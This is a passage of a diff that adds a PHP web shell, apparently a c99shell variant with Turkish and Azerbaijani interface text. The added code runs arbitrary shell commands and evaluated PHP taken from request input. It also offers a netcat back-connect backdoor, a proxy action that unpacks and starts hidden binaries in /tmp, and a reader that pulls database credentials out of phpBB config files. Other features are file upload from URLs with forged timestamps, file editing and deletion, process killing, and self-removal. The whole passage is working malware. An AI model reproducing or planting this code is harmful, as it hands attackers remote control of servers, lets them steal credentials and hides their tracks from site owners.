+ echo "Encoder: Input: ".@htmlspecialchars($encoder_input)." Hashes :";
+ foreach(array("md5","crypt","sha1","crc32") as $v)
+ {
+ echo $v." - ";
+ }
+ echo "Url: urlencode -
+ urldecode -
+ Base64: base64_encode - ";
+ echo "base64_decode - ";
+ if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo " ";}
+ else
+ {
+ $debase64 = base64_decode($encoder_input);
+ $debase64 = str_replace("\0","[0]",$debase64);
+ $a = explode("\r\n",$debase64);
+ $rows = count($a);
+ $debase64 = htmlspecialchars($debase64);
+ if ($rows == 1) {echo " ";}
+ else {$rows++; echo "".$debase64." ";}
+ echo " ";
+ }
+ echo "Base convertations :dec2hex - ";
+}
+if ($act == "backc")
+{
+ $ip = $_SERVER["REMOTE_ADDR"];
+ $msg = $_POST['backcconnmsg'];
+ $emsg = $_POST['backcconnmsge'];
+ echo("Arka Kapi Girisi: Sunucu: Port No: Use: Perl C Server ile baglanti kurmaniz icin Məlumatsayarinizda nc.exe ve acik bir port gerekir! Komutunuz; 'nc -l -n -v -p 5992 ' ");
+ echo("$msg");
+ echo("$emsg");
+}
+
+if ($act == "shbd"){
+$msg = $_POST['backcconnmsg'];
+$emsg = $_POST['backcconnmsge'];
+echo("Arka kapi yarat:
+Baglanti portu:
+
+ ");
+echo("$msg");
+echo("$emsg");
+}
+
+
+if ($act == "proxy") {
+ cf("/tmp/hantu.tgz",$proxy_shit);
+ ex("cd /tmp;tar -zxvf hantu.tgz");
+ ex("cd /tmp;cd .setan;chmod 777 xh");
+ ex("cd /tmp;cd .setan;chmod 777 httpd");
+ ex("cd /tmp;cd .setan;./xh -s [kmod] ./httpd start");
+ checkproxyhost();
+ $msg = $_POST['proxyhostmsg'];
+ echo("$msg");
+ unlink("/tmp/hantu.tgz");
+ ex("cd /tmp; rm -r .setan");
+}
+
+if ($act == "selfremove")
+{
+ if (($submit == $rndcode) and ($submit != ""))
+ {
+ if (unlink(__FILE__)) {@ob_clean(); echo "Gone!"; c99shexit(); }
+ else {echo "Can't delete ".__FILE__."! ";}
+ }
+ else
+ {
+ if (!empty($rndcode)) {echo "Error: incorrect confimation! ";}
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+ echo "".__FILE__." Adresindeki Shelli Sil!Silmek icin yandaki kodu girin \"".$rnd."\" : ";
+ }
+}
+if ($act == "search"){
+ echo "Dosya Arama Sistemi: ";
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $search_i_f = 0;
+ $search_i_d = 0;
+ $a = array
+ (
+ "name"=>$search_name, "name_regexp"=>$search_name_regexp,
+ "text"=>$search_text, "text_regexp"=>$search_text_regxp,
+ "text_wwo"=>$search_text_wwo,
+ "text_cs"=>$search_text_cs,
+ "text_not"=>$search_text_not
+ );
+ $searchtime = getmicrotime();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v) {c99fsearch($v);}
+ $searchtime = round(getmicrotime()-$searchtime,4);
+ if (count($found) == 0) {echo "Dosya Bulunamadi ";}
+ else
+ {
+ $ls_arr = $found;
+ $disp_fullpath = TRUE;
+ $act = "ls";
+ }
+ }
+ echo "
+
+Dosya / Dizin Ismi: - regexp
+Nerde Arayalim:
+Aranacak Kelimemi:
+
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ ";
+ if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";}
+}
+if ($act == "chmod")
+{
+ $mode = fileperms($d.$f);
+ if (!$mode) {echo "Change file-mode with error: can't get current value.";}
+ else
+ {
+ $form = TRUE;
+ if ($chmod_submit)
+ {
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+ else {$err = "Can't chmod to ".$octet.".";}
+ }
+ if ($form)
+ {
+ $perms = parse_perms($mode);
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
+ }
+ }
+}
+if ($act == "upload")
+{
+ $uploadmess = "";
+ $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
+ if (!empty($submit))
+ {
+ global $HTTP_POST_FILES;
+ $uploadfile = $HTTP_POST_FILES["uploadfile"];
+ if (!empty($uploadfile["tmp_name"]))
+ {
+ if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
+ else {$destin = $userfilename;}
+ if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"].". Can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\".";}
+ }
+ elseif (!empty($uploadurl))
+ {
+ if (!empty($uploadfilename)) {$destin = $uploadfilename;}
+ else
+ {
+ $destin = explode("/",$destin);
+ $destin = $destin[count($destin)-1];
+ if (empty($destin))
+ {
+ $i = 0;
+ $b = "";
+ while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
+ }
+ if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
+ else
+ {
+ $st = getmicrotime();
+ $content = @file_get_contents($uploadurl);
+ $dt = round(getmicrotime()-$st,4);
+ if (!$content) {$uploadmess .= "Can't download file! ";}
+ else
+ {
+ if ($filestealth) {$stat = stat($uploadpath.$destin);}
+ $fp = fopen($uploadpath.$destin,"w");
+ if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
+ else
+ {
+ fwrite($fp,$content,strlen($content));
+ fclose($fp);
+ if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
+ }
+ }
+ }
+ }
+ }
+ if ($miniform)
+ {
+ echo "".$uploadmess." ";
+ $act = "ls";
+ }
+ else
+ {
+ echo "File upload: ".$uploadmess."
+Select file on your local computer: or
+Input URL:
+Save this file dir:
+File-name (auto-fill):
+ convert file name to lovercase
+
+ ";
+ }
+}
+if ($act == "delete")
+{
+ $delerr = "";
+ foreach ($actbox as $v)
+ {
+ $result = FALSE;
+ $result = fs_rmobj($v);
+ if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
+ }
+ if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
+ $act = "ls";
+}
+if (!$usefsbuff)
+{
+ if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE. ";}
+}
+else
+{
+ if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
+ elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
+ elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
+ if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+ elseif ($actarcbuff)
+ {
+ $arcerr = "";
+ if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
+ else {$ext = ".tar.gz";}
+ if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
+ $cmdline .= " ".$actarcbuff_path;
+ $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
+ foreach($objects as $v)
+ {
+ $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
+ if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
+ if (is_dir($v))
+ {
+ if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
+ $v .= "*";
+ }
+ $cmdline .= " ".$v;
+ }
+ $tmp = realpath(".");
+ chdir($d);
+ $ret = myshellexec($cmdline);
+ chdir($tmp);
+ if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")! ";}
+ $ret = str_replace("\r\n","\n",$ret);
+ $ret = explode("\n",$ret);
+ if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ if (in_array($v,$ret)) {fs_rmobj($v);}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
+ $act = "ls";
+ }
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+}
+if ($act == "cmd")
+{
+if (trim($cmd) == "ps aux") {$act = "processes";}
+elseif (trim($cmd) == "tasklist") {$act = "processes";}
+else
+{
+ @chdir($chdir);
+ if (!empty($submit))
+ {
+ $execcmd = $_REQUEST['cmd'];
+ echo "Result Of Locally Executed Command: $execcmd ";
+ $olddir = realpath(".");
+ @chdir($d);
+ $ret = myshellexec($cmd);
+ $ret = convert_cyr_string($ret,"d","w");
+ if ($cmd_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ @chdir($olddir);
+ }
+ else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
+ echo "".htmlspecialchars($cmd)." Display in text-area ";
+}
+}
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+ $list = array();
+ if ($h = @opendir($d))
+ {
+ while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
+ closedir($h);
+ }
+ else {}
+ }
+ if (count($list) == 0) {echo "Can't open folder ".htmlspecialchars($d)." ";}
+ else
+ {
+ //Building array
+ $objects = array();
+ $vd = "f"; //Viewing mode
+ if ($vd == "f")
+ {
+ $objects["head"] = array();
+ $objects["folders"] = array();
+ $objects["links"] = array();
+ $objects["files"] = array();
+ foreach ($list as $v)
+ {
+ $o = basename($v);
+ $row = array();
+ if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif (is_dir($v))
+ {
+ if (is_link($v)) {$type = "LINK";}
+ else {$type = "DIR";}
+ $row[] = $v;
+ $row[] = $type;
+ }
+ elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
+ $row[] = filemtime($v);
+ if (!$win)
+ {
+ $ow = posix_getpwuid(fileowner($v));
+ $gr = posix_getgrgid(filegroup($v));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
+ }
+ $row[] = fileperms($v);
+ if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
+ elseif (is_link($v)) {$objects["links"][] = $row;}
+ elseif (is_dir($v)) {$objects["folders"][] = $row;}
+ elseif (is_file($v)) {$objects["files"][] = $row;}
+ $i++;
+ }
+ $row = array();
+ $row[] = "Adı ";
+ $row[] = "hecmi ";
+ $row[] = "Dəyişdirme Tarihi ";
+ if (!$win)
+ {$row[] = "Grup ";}
+ $row[] = "icazələr ";
+ $row[] = "Aktif ";
+ $parsesort = parsesort($sort);
+ $sort = $parsesort[0].$parsesort[1];
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$parsesort[1] = "d";}
+ $y = "";
+ $y .= "[Sort-".($parsesort[1] == "a"?"Asc.":"Desc")."] ";
+ $row[$k] .= $y;
+ for($i=0;$i".$row[$i]."";}
+ }
+ $v = $parsesort[0];
+ usort($objects["folders"], "tabsort");
+ usort($objects["links"], "tabsort");
+ usort($objects["files"], "tabsort");
+ if ($parsesort[1] == "d")
+ {
+ $objects["folders"] = array_reverse($objects["folders"]);
+ $objects["files"] = array_reverse($objects["files"]);
+ }
+ $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
+ $tab = array();
+ $tab["cols"] = array($row);
+ $tab["head"] = array();
+ $tab["folders"] = array();
+ $tab["links"] = array();
+ $tab["files"] = array();
+ $i = 0;
+ foreach ($objects as $a)
+ {
+ $v = $a[0];
+ $o = basename($v);
+ $dir = dirname($v);
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+ foreach ($regxp_highlight as $r)
+ {
+ if (ereg($r[0],$o))
+ {
+ if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
+ else
+ {
+ $r[1] = round($r[1]);
+ $isdir = is_dir($v);
+ if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
+ {
+ if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
+ $disppath = $r[2].$disppath.$r[3];
+ if ($r[4]) {break;}
+ }
+ }
+ }
+ }
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+ $row = array();
+ if ($o == ".")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif ($o == "..")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif (is_dir($v))
+ {
+ if (is_link($v))
+ {
+ $disppath .= " => ".readlink($v);
+ $type = "LINK";
+ $row[] = " [".$disppath."] ";
+ }
+ else
+ {
+ $type = "DIR";
+ $row[] = " [".$disppath."] ";
+ }
+ $row[] = $type;
+ }
+ elseif(is_file($v))
+ {
+ $ext = explode(".",$o);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $row[] = " ".$disppath." ";
+ $row[] = view_size($a[1]);
+ }
+ $row[] = date("d.m.Y H:i:s",$a[2]);
+ if (!$win) {$row[] = $a[3];}
+ $row[] = "".view_perms_color($v)." ";
+ if ($o == ".") {$checkbox = " "; $i--;}
+ else {$checkbox = " ";}
+ if (is_dir($v)) {$row[] = "[Info] ".$checkbox;}
+ else {$row[] = "[Məlumat] [Dəyişdir] [Yüklə] ".$checkbox;}
+ if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
+ elseif (is_link($v)) {$tab["links"][] = $row;}
+ elseif (is_dir($v)) {$tab["folders"][] = $row;}
+ elseif (is_file($v)) {$tab["files"][] = $row;}
+ $i++;
+ }
+ }
+ // Compiling table
+ $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
+ echo " ";
+ foreach($table as $row)
+ {
+ echo "\r\n";
+ foreach($row as $v) {echo "".$v." \r\n";}
+ echo " \r\n";
+ }
+ echo "
+
+
+ ";
+ if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
+ {
+ echo " ";
+ }
+ echo "Islet: ";
+ echo "Sil ";
+ echo "icazələri Duzenle ";
+ echo "Kes! ";
+ echo "Kopyala! ";
+ echo "Unselect ";
+ if ($usefsbuff)
+ {
+ echo "Kes! ";
+ echo "Kopyala! ";
+ echo "Unselect ";
+ }
+ echo "
";
+ echo "";
+ }
+}
+
+if ($act == "processes")
+{
+ echo "Islemci Məlumatleri: ";
+ if (!$win) {$handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":"");}
+ else {$handler = "tasklist";}
+ $ret = myshellexec($handler);
+ if (!$ret) {echo "Can't execute \"".$handler."\"!";}
+ else
+ {
+ if (empty($processes_sort)) {$processes_sort = $sort_default;}
+ $parsesort = parsesort($processes_sort);
+ if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$y = "[sort_desc] ";}
+ else {$y = "[sort_asc] ";}
+ $ret = htmlspecialchars($ret);
+ if (!$win)
+ {
+ if ($pid)
+ {
+ if (is_null($sig)) {$sig = 9;}
+ echo "Sending signal ".$sig." to #".$pid."... ";
+ if (posix_kill($pid,$sig)) {echo "OK.";}
+ else {echo "ERROR.";}
+ }
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $stack = explode("\n",$ret);
+ $head = explode(" ",$stack[0]);
+ unset($stack[0]);
+ for($i=0;$i".$head[$i]." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+{
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10));
+ $line = array_slice($line,0,11);
+ if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
+ $line[] = "KILL ";
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ else
+ {
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ $ret = convert_cyr_string($ret,"d","w");
+ $stack = explode("\n",$ret);
+ unset($stack[0],$stack[2]);
+ $stack = array_values($stack);
+ $head = explode("",$stack[0]);
+ $head[1] = explode(" ",$head[1]);
+ $head[1] = $head[1][0];
+ $stack = array_slice($stack,1);
+ unset($head[2]);
+ $head = array_values($head);
+ if ($parsesort[1] != "a") {$y = "[sort_desc] ";}
+ else {$y = "[sort_asc] ";}
+ if ($k > count($head)) {$k = count($head)-1;}
+ for($i=0;$i".trim($head[$i])." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode("",$line);
+ $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
+ $line[2] = intval(str_replace(" ","",$line[2]))*1024;
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ $head[$k] = "".$head[$k]." ".$y;
+ $v = $processes_sort[0];
+ usort($prcs,"tabsort");
+ if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
+ $tab = array();
+ $tab[] = $head;
+ $tab = array_merge($tab,$prcs);
+ echo "";
+ foreach($tab as $i=>$k)
+ {
+ echo "";
+ foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
+ echo " ";
+ }
+ echo "
";
+ }
+}
+if ($act == "eval")
+{
+ if (!empty($eval))
+ {
+ echo "php Kod Calistir : ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ ob_clean();
+ eval($eval);
+ $ret = ob_get_contents();
+ $ret = convert_cyr_string($ret,"d","w");
+ ob_clean();
+ echo $tmp;
+ if ($eval_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ }
+ else
+ {
+ if ($eval_txt)
+ {
+ echo "";
+ eval($eval);
+ echo " ";
+ }
+ else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+ echo "".htmlspecialchars($eval)." Display in text-area ";
+}
+if ($act == "f")
+{
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
+ {
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
+ else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+ }
+ else
+ {
+ $r = @file_get_contents($d.$f);
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+ if (empty($ft)) {$ft = $rft;}
+ $arr = array(
+ array("[hex]","info"),
+ array("[html]","html"),
+ array("[txt]","txt"),
+ array("[Code]","code"),
+ array("[Session]","phpsess"),
+ array("[exe]","exe"),
+ array("[SDB]","sdb"),
+ array("[gif]","img"),
+ array("[ini]","ini"),
+ array("[download]","download"),
+ array("[rtf]","notepad"),
+ array("[change]","edit")
+ );
+ echo "Viewing file: [$ext] ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." Select action/file-type: ";
+ foreach($arr as $t)
+ {
+ if ($t[1] == $rft) {echo " ".$t[0]." ";}
+ elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
+ else {echo " ".$t[0]." ";}
+ echo " (+ ) |";
+ }
+ echo " ";
+ if ($ft == "info")
+ {
+ echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d.$f));
+ $gr = posix_getgrgid(filegroup($d.$f));
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+ }
+ echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
+ $fi = fopen($d.$f,"rb");
+ if ($fi)
+ {
+ if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+ else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+ $n = 0;
+ $a0 = "00000000 ";
+ $a1 = "";
+ $a2 = "";
+ for ($i=0; $i";}
+ $a1 .= " ";
+ $a2 .= " ";
+ }
+ }
+ //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";}
+ echo " ";
+ }
+ $encoded = "";
+ if ($base64 == 1)
+ {
+ echo "Base64 Encode ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ }
+ elseif($base64 == 2)
+ {
+ echo "Base64 Encode + Chunk ";
+ $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
+ }
+ elseif($base64 == 3)
+ {
+ echo "Base64 Encode + Chunk + Quotes ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+ }
+ elseif($base64 == 4)
+ {
+ $text = file_get_contents($d.$f);
+ $encoded = base64_decode($text);
+ echo "Base64 Decode";
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+ echo " ";
+ }
+ if (!empty($encoded))
+ {
+ echo "".htmlspecialchars($encoded)." ";
+ }
+ echo "HEXDUMP: [Full ] [Preview ]Base64:
+[Encode ]
+[+chunk ]
+[+chunk+quotes ]
+[Decode ]
+";
+ }
+ elseif ($ft == "html")
+ {
+ if ($white) {@ob_clean();}
+ echo $r;
+ if ($white) {c99shexit();}
+ }
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+ elseif ($ft == "phpsess")
+ {
+ echo "";
+ $v = explode("|",$r);
+ echo $v[0]." ";
+ var_dump(unserialize($v[1]));
+ echo " ";
+ }
+ elseif ($ft == "exe")
+ {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = ";";
+ foreach($exeftypes as $k=>$v)
+ {
+ if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ $cmd = str_replace("%f%",$f,$rft);
+ echo "Execute file: Display in text-area ";
+ }
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+ elseif ($ft == "code")
+ {
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
+ {
+ $arr = explode("\n",$r);
+ if (count($arr == 18))
+ {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file! ";
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+ if ($dbms == "mysql") {echo "Connect to DB ";}
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
+ echo "Parameters for manual connect: ";
+ $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+ echo " ";
+ }
+ }
+ echo "";
+ if (!empty($white)) {@ob_clean();}
+ highlight_file($d.$f);
+ if (!empty($white)) {c99shexit();}
+ echo "
";
+ }
+ elseif ($ft == "download")
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".filesize($d.$f));
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ echo $r;
+ exit;
+ }
+ elseif ($ft == "notepad")
+ {
+ @ob_clean();
+ header("Content-type: text/plain");
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "img")
+ {
+ $inf = getimagesize($d.$f);
+ if (!$white)
+ {
+ if (empty($imgsize)) {$imgsize = 20;}
+ $width = $inf[0]/100*$imgsize;
+ $height = $inf[1]/100*$imgsize;
+ echo "Size: ";
+ $sizes = array("100","50","20");
+ foreach ($sizes as $v)
+ {
+ echo "";
+ if ($imgsize != $v ) {echo $v;}
+ else {echo "".$v." ";}
+ echo " ";
+ }
+ echo " ";
+ }
+ else
+ {
+ @ob_clean();
+ $ext = explode($f,".");
+ $ext = $ext[count($ext)-1];
+ header("Content-type: ".$inf["mime"]);
+ readfile($d.$f);
+ exit;
+ }
+ }
+ elseif ($ft == "edit")
+ {
+ if (!empty($submit))
+ {
+ if ($filestealth) {$stat = stat($d.$f);}
+ $fp = fopen($d.$f,"w");
+ if (!$fp) {echo "Can't write to file! ";}
+ else
+ {
+ echo "Saved! ";
+ fwrite($fp,$edit_text);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $edit_text;
+ }
+ }
+ $rows = count(explode("\r\n",$r));
+ if ($rows < 10) {$rows = 10;}
+ if ($rows > 30) {$rows = 30;}
+ echo " ".htmlspecialchars($r)." ";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+ }
+}
+}
+else
+{
+ @ob_clean();
+
+ $imgequals = array(
+ "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
+ "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
